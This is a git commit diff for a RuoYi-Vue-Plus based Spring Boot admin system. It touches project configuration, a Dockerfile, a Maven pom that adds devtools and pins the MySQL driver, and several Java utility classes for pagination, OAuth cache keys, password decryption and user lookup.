feat: 更新项目配置及业务模块

- 添加热部署依赖(spring-boot-devtools)
- 更新数据库配置(192.168.1.203/oademo)
- 添加新业务模块(TpClientFund, TpDeptCost, TpDeptReport)
- 更新MySQL驱动版本到8.4.0
- 完善工作流模块及其他业务代码
This commit is contained in:
huacracker
2026-03-07 14:29:03 +08:00
parent fa64af2575
commit 2640aeb97c
1049 changed files with 90546 additions and 88202 deletions

View File

@@ -1,18 +1,18 @@
# http://editorconfig.org # http://editorconfig.org
root = true root = true
# 空格替代Tab缩进在各种编辑工具下效果一致 # 空格替代Tab缩进在各种编辑工具下效果一致
[*] [*]
indent_style = space indent_style = space
indent_size = 4 indent_size = 4
charset = utf-8 charset = utf-8
end_of_line = lf end_of_line = lf
trim_trailing_whitespace = true trim_trailing_whitespace = true
insert_final_newline = true insert_final_newline = true
[*.{json,yml,yaml}] [*.{json,yml,yaml}]
indent_size = 2 indent_size = 2
[*.md] [*.md]
insert_final_newline = false insert_final_newline = false
trim_trailing_whitespace = false trim_trailing_whitespace = false

108
.gitignore vendored
View File

@@ -1,54 +1,54 @@
###################################################################### ######################################################################
# Build Tools # Build Tools
.gradle .gradle
/build/ /build/
!gradle/wrapper/gradle-wrapper.jar !gradle/wrapper/gradle-wrapper.jar
target/ target/
!.mvn/wrapper/maven-wrapper.jar !.mvn/wrapper/maven-wrapper.jar
###################################################################### ######################################################################
# IDE # IDE
### STS ### ### STS ###
.apt_generated .apt_generated
.classpath .classpath
.factorypath .factorypath
.project .project
.settings .settings
.springBeans .springBeans
### IntelliJ IDEA ### ### IntelliJ IDEA ###
.idea .idea
.vscode .vscode
.lingma .lingma
*.iws *.iws
*.iml *.iml
*.ipr *.ipr
### JRebel ### ### JRebel ###
rebel.xml rebel.xml
### NetBeans ### ### NetBeans ###
nbproject/private/ nbproject/private/
build/* build/*
nbbuild/ nbbuild/
nbdist/ nbdist/
.nb-gradle/ .nb-gradle/
###################################################################### ######################################################################
# Others # Others
*.log *.log
*.xml.versionsBackup *.xml.versionsBackup
*.swp *.swp
!*/build/*.java !*/build/*.java
!*/build/*.html !*/build/*.html
!*/build/*.xml !*/build/*.xml
.flattened-pom.xml .flattened-pom.xml
/logs/ /logs/
/ruoyi-admin/logs/ /ruoyi-admin/logs/
/.vscode/ /.vscode/
/.lingma/ /.lingma/

40
LICENSE
View File

@@ -1,20 +1,20 @@
The MIT License (MIT) The MIT License (MIT)
Copyright (c) 2019 RuoYi-Vue-Plus Copyright (c) 2019 RuoYi-Vue-Plus
Permission is hereby granted, free of charge, to any person obtaining a copy of Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
the Software, and to permit persons to whom the Software is furnished to do so, the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions: subject to the following conditions:
The above copyright notice and this permission notice shall be included in all The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software. copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

BIN
bun.zip Normal file

Binary file not shown.

BIN
node.zip Normal file

Binary file not shown.

1062
pom.xml

File diff suppressed because it is too large Load Diff

View File

@@ -1,28 +1,28 @@
# 贝尔实验室 Spring 官方推荐镜像 JDK下载地址 https://bell-sw.com/pages/downloads/ # 贝尔实验室 Spring 官方推荐镜像 JDK下载地址 https://bell-sw.com/pages/downloads/
FROM bellsoft/liberica-openjdk-debian:17.0.11-cds FROM bellsoft/liberica-openjdk-debian:17.0.11-cds
#FROM bellsoft/liberica-openjdk-debian:21.0.5-cds #FROM bellsoft/liberica-openjdk-debian:21.0.5-cds
#FROM findepi/graalvm:java17-native #FROM findepi/graalvm:java17-native
LABEL maintainer="Lion Li" LABEL maintainer="Lion Li"
RUN mkdir -p /ruoyi/server/logs \ RUN mkdir -p /ruoyi/server/logs \
/ruoyi/server/temp \ /ruoyi/server/temp \
/ruoyi/skywalking/agent /ruoyi/skywalking/agent
WORKDIR /ruoyi/server WORKDIR /ruoyi/server
ENV SERVER_PORT=8080 LANG=C.UTF-8 LC_ALL=C.UTF-8 JAVA_OPTS="" ENV SERVER_PORT=8080 LANG=C.UTF-8 LC_ALL=C.UTF-8 JAVA_OPTS=""
EXPOSE ${SERVER_PORT} EXPOSE ${SERVER_PORT}
ADD ./target/ruoyi-admin.jar ./app.jar ADD ./target/ruoyi-admin.jar ./app.jar
SHELL ["/bin/bash", "-c"] SHELL ["/bin/bash", "-c"]
ENTRYPOINT java -Djava.security.egd=file:/dev/./urandom -Dserver.port=${SERVER_PORT} \ ENTRYPOINT java -Djava.security.egd=file:/dev/./urandom -Dserver.port=${SERVER_PORT} \
# 应用名称 如果想区分集群节点监控 改成不同的名称即可 # 应用名称 如果想区分集群节点监控 改成不同的名称即可
#-Dskywalking.agent.service_name=ruoyi-server \ #-Dskywalking.agent.service_name=ruoyi-server \
#-javaagent:/ruoyi/skywalking/agent/skywalking-agent.jar \ #-javaagent:/ruoyi/skywalking/agent/skywalking-agent.jar \
-XX:+HeapDumpOnOutOfMemoryError -XX:+UseZGC ${JAVA_OPTS} \ -XX:+HeapDumpOnOutOfMemoryError -XX:+UseZGC ${JAVA_OPTS} \
-jar app.jar -jar app.jar

View File

@@ -1,146 +1,155 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" <project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent> <parent>
<artifactId>ruoyi-vue-plus</artifactId> <artifactId>ruoyi-vue-plus</artifactId>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<version>${revision}</version> <version>${revision}</version>
</parent> </parent>
<modelVersion>4.0.0</modelVersion> <modelVersion>4.0.0</modelVersion>
<packaging>jar</packaging> <packaging>jar</packaging>
<artifactId>xgt-admin</artifactId> <artifactId>xgt-admin</artifactId>
<description> <description>
web服务入口 web服务入口
</description> </description>
<dependencies> <dependencies>
<!-- Mysql驱动包 --> <!-- Mysql驱动包 -->
<dependency> <dependency>
<groupId>com.mysql</groupId> <groupId>com.mysql</groupId>
<artifactId>mysql-connector-j</artifactId> <artifactId>mysql-connector-j</artifactId>
<version>8.4.0</version>
</dependency> </dependency>
<!-- &lt;!&ndash; mp支持的数据库均支持 只需要增加对应的jdbc依赖即可 &ndash;&gt;--> <!-- &lt;!&ndash; mp支持的数据库均支持 只需要增加对应的jdbc依赖即可 &ndash;&gt;-->
<!-- &lt;!&ndash; Oracle &ndash;&gt;--> <!-- &lt;!&ndash; Oracle &ndash;&gt;-->
<!-- <dependency>--> <!-- <dependency>-->
<!-- <groupId>com.oracle.database.jdbc</groupId>--> <!-- <groupId>com.oracle.database.jdbc</groupId>-->
<!-- <artifactId>ojdbc8</artifactId>--> <!-- <artifactId>ojdbc8</artifactId>-->
<!-- </dependency>--> <!-- </dependency>-->
<!-- &lt;!&ndash; 兼容oracle低版本 &ndash;&gt;--> <!-- &lt;!&ndash; 兼容oracle低版本 &ndash;&gt;-->
<!-- <dependency>--> <!-- <dependency>-->
<!-- <groupId>com.oracle.database.nls</groupId>--> <!-- <groupId>com.oracle.database.nls</groupId>-->
<!-- <artifactId>orai18n</artifactId>--> <!-- <artifactId>orai18n</artifactId>-->
<!-- </dependency>--> <!-- </dependency>-->
<!-- &lt;!&ndash; PostgreSql &ndash;&gt;--> <!-- &lt;!&ndash; PostgreSql &ndash;&gt;-->
<!-- <dependency>--> <!-- <dependency>-->
<!-- <groupId>org.postgresql</groupId>--> <!-- <groupId>org.postgresql</groupId>-->
<!-- <artifactId>postgresql</artifactId>--> <!-- <artifactId>postgresql</artifactId>-->
<!-- </dependency>--> <!-- </dependency>-->
<!-- &lt;!&ndash; SqlServer &ndash;&gt;--> <!-- &lt;!&ndash; SqlServer &ndash;&gt;-->
<!-- <dependency>--> <!-- <dependency>-->
<!-- <groupId>com.microsoft.sqlserver</groupId>--> <!-- <groupId>com.microsoft.sqlserver</groupId>-->
<!-- <artifactId>mssql-jdbc</artifactId>--> <!-- <artifactId>mssql-jdbc</artifactId>-->
<!-- </dependency>--> <!-- </dependency>-->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-doc</artifactId> <artifactId>ruoyi-common-doc</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-social</artifactId> <artifactId>ruoyi-common-social</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-ratelimiter</artifactId> <artifactId>ruoyi-common-ratelimiter</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-mail</artifactId> <artifactId>ruoyi-common-mail</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-system</artifactId> <artifactId>ruoyi-system</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-job</artifactId> <artifactId>ruoyi-job</artifactId>
</dependency> </dependency>
<!-- 代码生成--> <!-- 代码生成-->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-generator</artifactId> <artifactId>ruoyi-generator</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-work</artifactId> <artifactId>ruoyi-work</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>de.codecentric</groupId> <groupId>de.codecentric</groupId>
<artifactId>spring-boot-admin-starter-client</artifactId> <artifactId>spring-boot-admin-starter-client</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId> <artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope> <scope>test</scope>
</dependency> </dependency>
<!-- skywalking 整合 logback --> <!-- Spring Boot DevTools 热部署 -->
<!-- <dependency>--> <dependency>
<!-- <groupId>org.apache.skywalking</groupId>--> <groupId>org.springframework.boot</groupId>
<!-- <artifactId>apm-toolkit-logback-1.x</artifactId>--> <artifactId>spring-boot-devtools</artifactId>
<!-- <version>${与你的agent探针版本保持一致}</version>--> <scope>runtime</scope>
<!-- </dependency>--> <optional>true</optional>
<!-- <dependency>--> </dependency>
<!-- <groupId>org.apache.skywalking</groupId>-->
<!-- <artifactId>apm-toolkit-trace</artifactId>--> <!-- skywalking 整合 logback -->
<!-- <version>${与你的agent探针版本保持一致}</version>--> <!-- <dependency>-->
<!-- </dependency>--> <!-- <groupId>org.apache.skywalking</groupId>-->
<!-- <artifactId>apm-toolkit-logback-1.x</artifactId>-->
</dependencies> <!-- <version>${与你的agent探针版本保持一致}</version>-->
<!-- </dependency>-->
<build> <!-- <dependency>-->
<finalName>${project.artifactId}</finalName> <!-- <groupId>org.apache.skywalking</groupId>-->
<plugins> <!-- <artifactId>apm-toolkit-trace</artifactId>-->
<plugin> <!-- <version>${与你的agent探针版本保持一致}</version>-->
<groupId>org.springframework.boot</groupId> <!-- </dependency>-->
<artifactId>spring-boot-maven-plugin</artifactId>
<version>${spring-boot.version}</version> </dependencies>
<executions>
<execution> <build>
<goals> <finalName>${project.artifactId}</finalName>
<goal>repackage</goal> <plugins>
</goals> <plugin>
</execution> <groupId>org.springframework.boot</groupId>
</executions> <artifactId>spring-boot-maven-plugin</artifactId>
</plugin> <version>${spring-boot.version}</version>
<plugin> <executions>
<groupId>org.apache.maven.plugins</groupId> <execution>
<artifactId>maven-jar-plugin</artifactId> <goals>
<version>${maven-jar-plugin.version}</version> <goal>repackage</goal>
</plugin> </goals>
<plugin> </execution>
<groupId>org.apache.maven.plugins</groupId> </executions>
<artifactId>maven-war-plugin</artifactId> </plugin>
<version>${maven-war-plugin.version}</version> <plugin>
<configuration> <groupId>org.apache.maven.plugins</groupId>
<failOnMissingWebXml>false</failOnMissingWebXml> <artifactId>maven-jar-plugin</artifactId>
<warName>${project.artifactId}</warName> <version>${maven-jar-plugin.version}</version>
</configuration> </plugin>
</plugin> <plugin>
</plugins> <groupId>org.apache.maven.plugins</groupId>
</build> <artifactId>maven-war-plugin</artifactId>
<version>${maven-war-plugin.version}</version>
</project> <configuration>
<failOnMissingWebXml>false</failOnMissingWebXml>
<warName>${project.artifactId}</warName>
</configuration>
</plugin>
</plugins>
</build>
</project>

View File

@@ -1,23 +1,23 @@
package org.dromara; package org.dromara;
import org.springframework.boot.SpringApplication; import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.context.metrics.buffering.BufferingApplicationStartup; import org.springframework.boot.context.metrics.buffering.BufferingApplicationStartup;
/** /**
* 启动程序 * 启动程序
* *
* @author Lion Li * @author Lion Li
*/ */
@SpringBootApplication @SpringBootApplication
public class XgtAdminApplication { public class XgtAdminApplication {
public static void main(String[] args) { public static void main(String[] args) {
SpringApplication application = new SpringApplication(XgtAdminApplication.class); SpringApplication application = new SpringApplication(XgtAdminApplication.class);
application.setApplicationStartup(new BufferingApplicationStartup(2048)); application.setApplicationStartup(new BufferingApplicationStartup(2048));
application.run(args); application.run(args);
System.out.println("(♥◠‿◠)ノ゙ 效果图业务系统启动成功 ლ(´ڡ`ლ)゙"); System.out.println("(♥◠‿◠)ノ゙ 效果图业务系统启动成功 ლ(´ڡ`ლ)゙");
} }
} }

View File

@@ -1,18 +1,18 @@
package org.dromara; package org.dromara;
import org.springframework.boot.builder.SpringApplicationBuilder; import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
/** /**
* web容器中进行部署 * web容器中进行部署
* *
* @author Lion Li * @author Lion Li
*/ */
public class XgtAdminServletInitializer extends SpringBootServletInitializer { public class XgtAdminServletInitializer extends SpringBootServletInitializer {
@Override @Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder application) { protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {
return application.sources(XgtAdminApplication.class); return application.sources(XgtAdminApplication.class);
} }
} }

View File

@@ -1,36 +1,36 @@
/* /*
* Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved.
* *
* https://www.mall4j.com/ * https://www.mall4j.com/
* *
* 未经允许,不可做商业用途! * 未经允许,不可做商业用途!
* *
* 版权所有,侵权必究! * 版权所有,侵权必究!
*/ */
package org.dromara.web.common; package org.dromara.web.common;
import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletRequest;
import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.context.request.ServletRequestAttributes;
/** /**
* @author lanhai * @author lanhai
*/ */
public class HttpContextUtils { public class HttpContextUtils {
public static HttpServletRequest getHttpServletRequest() { public static HttpServletRequest getHttpServletRequest() {
return ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest(); return ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
} }
public static String getDomain(){ public static String getDomain(){
HttpServletRequest request = getHttpServletRequest(); HttpServletRequest request = getHttpServletRequest();
StringBuffer url = request.getRequestURL(); StringBuffer url = request.getRequestURL();
return url.delete(url.length() - request.getRequestURI().length(), url.length()).toString(); return url.delete(url.length() - request.getRequestURI().length(), url.length()).toString();
} }
public static String getOrigin(){ public static String getOrigin(){
HttpServletRequest request = getHttpServletRequest(); HttpServletRequest request = getHttpServletRequest();
return request.getHeader("Origin"); return request.getHeader("Origin");
} }
} }

View File

@@ -1,38 +1,38 @@
package org.dromara.web.common; package org.dromara.web.common;
/** /**
* @author 菠萝凤梨 * @author 菠萝凤梨
* @date 2022/3/28 14:32 * @date 2022/3/28 14:32
*/ */
public interface OauthCacheNames { public interface OauthCacheNames {
/** /**
* oauth 授权相关key * oauth 授权相关key
*/ */
String OAUTH_PREFIX = "mall4j_oauth:"; String OAUTH_PREFIX = "mall4j_oauth:";
/** /**
* token 授权相关key * token 授权相关key
*/ */
String OAUTH_TOKEN_PREFIX = OAUTH_PREFIX + "token:"; String OAUTH_TOKEN_PREFIX = OAUTH_PREFIX + "token:";
/** /**
* 保存token 缓存使用key * 保存token 缓存使用key
*/ */
String ACCESS = OAUTH_TOKEN_PREFIX + "access:"; String ACCESS = OAUTH_TOKEN_PREFIX + "access:";
/** /**
* 刷新token 缓存使用key * 刷新token 缓存使用key
*/ */
String REFRESH_TO_ACCESS = OAUTH_TOKEN_PREFIX + "refresh_to_access:"; String REFRESH_TO_ACCESS = OAUTH_TOKEN_PREFIX + "refresh_to_access:";
/** /**
* 根据uid获取保存的token key缓存使用的key * 根据uid获取保存的token key缓存使用的key
*/ */
String UID_TO_ACCESS = OAUTH_TOKEN_PREFIX + "uid_to_access:"; String UID_TO_ACCESS = OAUTH_TOKEN_PREFIX + "uid_to_access:";
/** /**
* 保存token的用户信息使用的key * 保存token的用户信息使用的key
*/ */
String USER_INFO = OAUTH_TOKEN_PREFIX + "user_info:"; String USER_INFO = OAUTH_TOKEN_PREFIX + "user_info:";
} }

View File

@@ -1,128 +1,128 @@
/* /*
* Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved.
* *
* https://www.mall4j.com/ * https://www.mall4j.com/
* *
* 未经允许,不可做商业用途! * 未经允许,不可做商业用途!
* *
* 版权所有,侵权必究! * 版权所有,侵权必究!
*/ */
package org.dromara.web.common; package org.dromara.web.common;
import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
import com.fasterxml.jackson.annotation.JsonIgnore; import com.fasterxml.jackson.annotation.JsonIgnore;
import io.swagger.v3.oas.annotations.Hidden; import io.swagger.v3.oas.annotations.Hidden;
import io.swagger.v3.oas.annotations.media.Schema; import io.swagger.v3.oas.annotations.media.Schema;
import org.springdoc.core.annotations.ParameterObject; import org.springdoc.core.annotations.ParameterObject;
import java.util.List; import java.util.List;
/** /**
* @author lanhai * @author lanhai
*/ */
@Schema @Schema
@ParameterObject @ParameterObject
public class PageParam<T> extends Page<T> { public class PageParam<T> extends Page<T> {
/** /**
* 每页显示条数,默认 10 * 每页显示条数,默认 10
*/ */
@Schema(description = "每页大小默认10") @Schema(description = "每页大小默认10")
private long size = 10; private long size = 10;
/** /**
* 当前页 * 当前页
*/ */
@Schema(description = "当前页默认1") @Schema(description = "当前页默认1")
private long current = 1; private long current = 1;
/** /**
* 查询数据列表 * 查询数据列表
*/ */
@Hidden @Hidden
private List<T> records; private List<T> records;
/** /**
* 总数 * 总数
*/ */
@Hidden @Hidden
private long total = 0; private long total = 0;
/** /**
* 是否进行 count 查询 * 是否进行 count 查询
*/ */
@JsonIgnore @JsonIgnore
private boolean isSearchCount = true; private boolean isSearchCount = true;
@JsonIgnore @JsonIgnore
private String countId; private String countId;
@JsonIgnore @JsonIgnore
private Long maxLimit; private Long maxLimit;
@JsonIgnore @JsonIgnore
private boolean optimizeCountSql; private boolean optimizeCountSql;
@Override @Override
public List<T> getRecords() { public List<T> getRecords() {
return this.records; return this.records;
} }
@Override @Override
public Page<T> setRecords(List<T> records) { public Page<T> setRecords(List<T> records) {
this.records = records; this.records = records;
return this; return this;
} }
@Override @Override
public long getTotal() { public long getTotal() {
return this.total; return this.total;
} }
@Override @Override
public Page<T> setTotal(long total) { public Page<T> setTotal(long total) {
this.total = total; this.total = total;
return this; return this;
} }
@JsonIgnore @JsonIgnore
public boolean getSearchCount() { public boolean getSearchCount() {
if (total < 0) { if (total < 0) {
return false; return false;
} }
return isSearchCount; return isSearchCount;
} }
@Override @Override
public Page<T> setSearchCount(boolean isSearchCount) { public Page<T> setSearchCount(boolean isSearchCount) {
this.isSearchCount = isSearchCount; this.isSearchCount = isSearchCount;
return this; return this;
} }
@Override @Override
public long getSize() { public long getSize() {
return this.size; return this.size;
} }
@Override @Override
public Page<T> setSize(long size) { public Page<T> setSize(long size) {
int maxSize = 100; int maxSize = 100;
if (size > maxSize) { if (size > maxSize) {
this.size = maxSize; this.size = maxSize;
} else { } else {
this.size = size; this.size = size;
} }
return this; return this;
} }
@Override @Override
public long getCurrent() { public long getCurrent() {
return this.current; return this.current;
} }
@Override @Override
public Page<T> setCurrent(long current) { public Page<T> setCurrent(long current) {
this.current = current; this.current = current;
return this; return this;
} }
} }

View File

@@ -1,53 +1,53 @@
/* /*
* Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved.
* *
* https://www.mall4j.com/ * https://www.mall4j.com/
* *
* 未经允许,不可做商业用途! * 未经允许,不可做商业用途!
* *
* 版权所有,侵权必究! * 版权所有,侵权必究!
*/ */
package org.dromara.web.common; package org.dromara.web.common;
import cn.hutool.crypto.SecureUtil; import cn.hutool.crypto.SecureUtil;
import cn.hutool.crypto.symmetric.AES; import cn.hutool.crypto.symmetric.AES;
import org.dromara.common.core.exception.user.UserException; import org.dromara.common.core.exception.user.UserException;
import org.slf4j.Logger; import org.slf4j.Logger;
import org.slf4j.LoggerFactory; import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Value; import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
/** /**
* @author 菠萝凤梨 * @author 菠萝凤梨
* @date 2022/1/19 16:02 * @date 2022/1/19 16:02
*/ */
@Component @Component
public class PasswordManager { public class PasswordManager {
private static final Logger logger = LoggerFactory.getLogger(PasswordManager.class); private static final Logger logger = LoggerFactory.getLogger(PasswordManager.class);
/** /**
* 用于aes签名的key16位 * 用于aes签名的key16位
*/ */
@Value("${auth.password.signKey:-mall4j-password}") @Value("${auth.password.signKey:-mall4j-password}")
public String passwordSignKey; public String passwordSignKey;
public String decryptPassword(String data) { public String decryptPassword(String data) {
// 在使用oracle的JDK时JAR包必须签署特殊的证书才能使用。 // 在使用oracle的JDK时JAR包必须签署特殊的证书才能使用。
// 解决方案 1.使用openJDK或者非oracle的JDK建议 2.添加证书 // 解决方案 1.使用openJDK或者非oracle的JDK建议 2.添加证书
// hutool的aes报错可以打开下面那段代码 // hutool的aes报错可以打开下面那段代码
SecureUtil.disableBouncyCastle(); SecureUtil.disableBouncyCastle();
AES aes = new AES(passwordSignKey.getBytes(StandardCharsets.UTF_8)); AES aes = new AES(passwordSignKey.getBytes(StandardCharsets.UTF_8));
String decryptStr; String decryptStr;
String decryptPassword; String decryptPassword;
try { try {
decryptStr = aes.decryptStr(data); decryptStr = aes.decryptStr(data);
decryptPassword = decryptStr.substring(13); decryptPassword = decryptStr.substring(13);
} catch (Exception e) { } catch (Exception e) {
logger.error("Exception:", e); logger.error("Exception:", e);
throw new UserException("AES解密错误", e); throw new UserException("AES解密错误", e);
} }
return decryptPassword; return decryptPassword;
} }
} }

View File

@@ -1,69 +1,69 @@
/* /*
* Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved.
* *
* https://www.mall4j.com/ * https://www.mall4j.com/
* *
* 未经允许,不可做商业用途! * 未经允许,不可做商业用途!
* *
* 版权所有,侵权必究! * 版权所有,侵权必究!
*/ */
package org.dromara.web.common; package org.dromara.web.common;
/** /**
* @author FrozenWatermelon * @author FrozenWatermelon
* @date 2020/7/9 * @date 2020/7/9
*/ */
public enum ResponseEnum { public enum ResponseEnum {
/** /**
* ok * ok
*/ */
OK("00000", "ok"), OK("00000", "ok"),
SHOW_FAIL("A00001", ""), SHOW_FAIL("A00001", ""),
/** /**
* 用于直接显示提示用户的错误,内容由输入内容决定 * 用于直接显示提示用户的错误,内容由输入内容决定
*/ */
/** /**
* 用于直接显示提示系统的成功,内容由输入内容决定 * 用于直接显示提示系统的成功,内容由输入内容决定
*/ */
SHOW_SUCCESS("A00002", ""), SHOW_SUCCESS("A00002", ""),
/** /**
* 未授权 * 未授权
*/ */
UNAUTHORIZED("A00004", "Unauthorized"), UNAUTHORIZED("A00004", "Unauthorized"),
/** /**
* 服务器出了点小差 * 服务器出了点小差
*/ */
EXCEPTION("A00005", "服务器出了点小差"), EXCEPTION("A00005", "服务器出了点小差"),
/** /**
* 方法参数没有校验,内容由输入内容决定 * 方法参数没有校验,内容由输入内容决定
*/ */
METHOD_ARGUMENT_NOT_VALID("A00014", "方法参数没有校验"); METHOD_ARGUMENT_NOT_VALID("A00014", "方法参数没有校验");
private final String code; private final String code;
private final String msg; private final String msg;
public String value() { public String value() {
return code; return code;
} }
public String getMsg() { public String getMsg() {
return msg; return msg;
} }
ResponseEnum(String code, String msg) { ResponseEnum(String code, String msg) {
this.code = code; this.code = code;
this.msg = msg; this.msg = msg;
} }
@Override @Override
public String toString() { public String toString() {
return "ResponseEnum{" + "code='" + code + '\'' + ", msg='" + msg + '\'' + "} " + super.toString(); return "ResponseEnum{" + "code='" + code + '\'' + ", msg='" + msg + '\'' + "} " + super.toString();
} }
} }

View File

@@ -1,49 +1,49 @@
package org.dromara.web.common; package org.dromara.web.common;
import lombok.experimental.UtilityClass; import lombok.experimental.UtilityClass;
/** /**
* @author LGH * @author LGH
*/ */
@UtilityClass @UtilityClass
public class SecurityUtils { public class SecurityUtils {
private static final String USER_REQUEST = "/api/"; private static final String USER_REQUEST = "/api/";
/** /**
* 获取用户 * 获取用户
*/ */
public YamiUser getUser() { public YamiUser getUser() {
if (!HttpContextUtils.getHttpServletRequest().getRequestURI().startsWith(USER_REQUEST)) { if (!HttpContextUtils.getHttpServletRequest().getRequestURI().startsWith(USER_REQUEST)) {
// 用户相关的请求,应该以/p开头 // 用户相关的请求,应该以/p开头
throw new RuntimeException("登录过期或已失效"); throw new RuntimeException("登录过期或已失效");
} }
String accessToken = HttpContextUtils.getHttpServletRequest().getHeader("accessToken"); String accessToken = HttpContextUtils.getHttpServletRequest().getHeader("accessToken");
TokenStore tokenStore = new TokenStore(); TokenStore tokenStore = new TokenStore();
UserInfoInTokenBO userInfoInTokenBO = tokenStore.getUserInfoByAccessToken(accessToken,false); UserInfoInTokenBO userInfoInTokenBO = tokenStore.getUserInfoByAccessToken(accessToken,false);
YamiUser yamiUser = new YamiUser(); YamiUser yamiUser = new YamiUser();
yamiUser.setUserId(userInfoInTokenBO.getUserId()); yamiUser.setUserId(userInfoInTokenBO.getUserId());
yamiUser.setBizUserId(userInfoInTokenBO.getBizUserId()); yamiUser.setBizUserId(userInfoInTokenBO.getBizUserId());
yamiUser.setEnabled(userInfoInTokenBO.getEnabled()); yamiUser.setEnabled(userInfoInTokenBO.getEnabled());
yamiUser.setShopId(userInfoInTokenBO.getShopId()); yamiUser.setShopId(userInfoInTokenBO.getShopId());
yamiUser.setStationId(userInfoInTokenBO.getOtherId()); yamiUser.setStationId(userInfoInTokenBO.getOtherId());
return yamiUser; return yamiUser;
} }
/** /**
* 获取用户ID * 获取用户ID
*/ */
public Long getUserInfo() { public Long getUserInfo() {
Long userId = null; Long userId = null;
try { try {
userId = getUser().getUserId(); userId = getUser().getUserId();
} catch (RuntimeException e) { } catch (RuntimeException e) {
// 处理异常 // 处理异常
System.out.println(e.getMessage()); System.out.println(e.getMessage());
} }
return userId; return userId;
} }
} }

View File

@@ -1,199 +1,199 @@
package org.dromara.web.common; package org.dromara.web.common;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
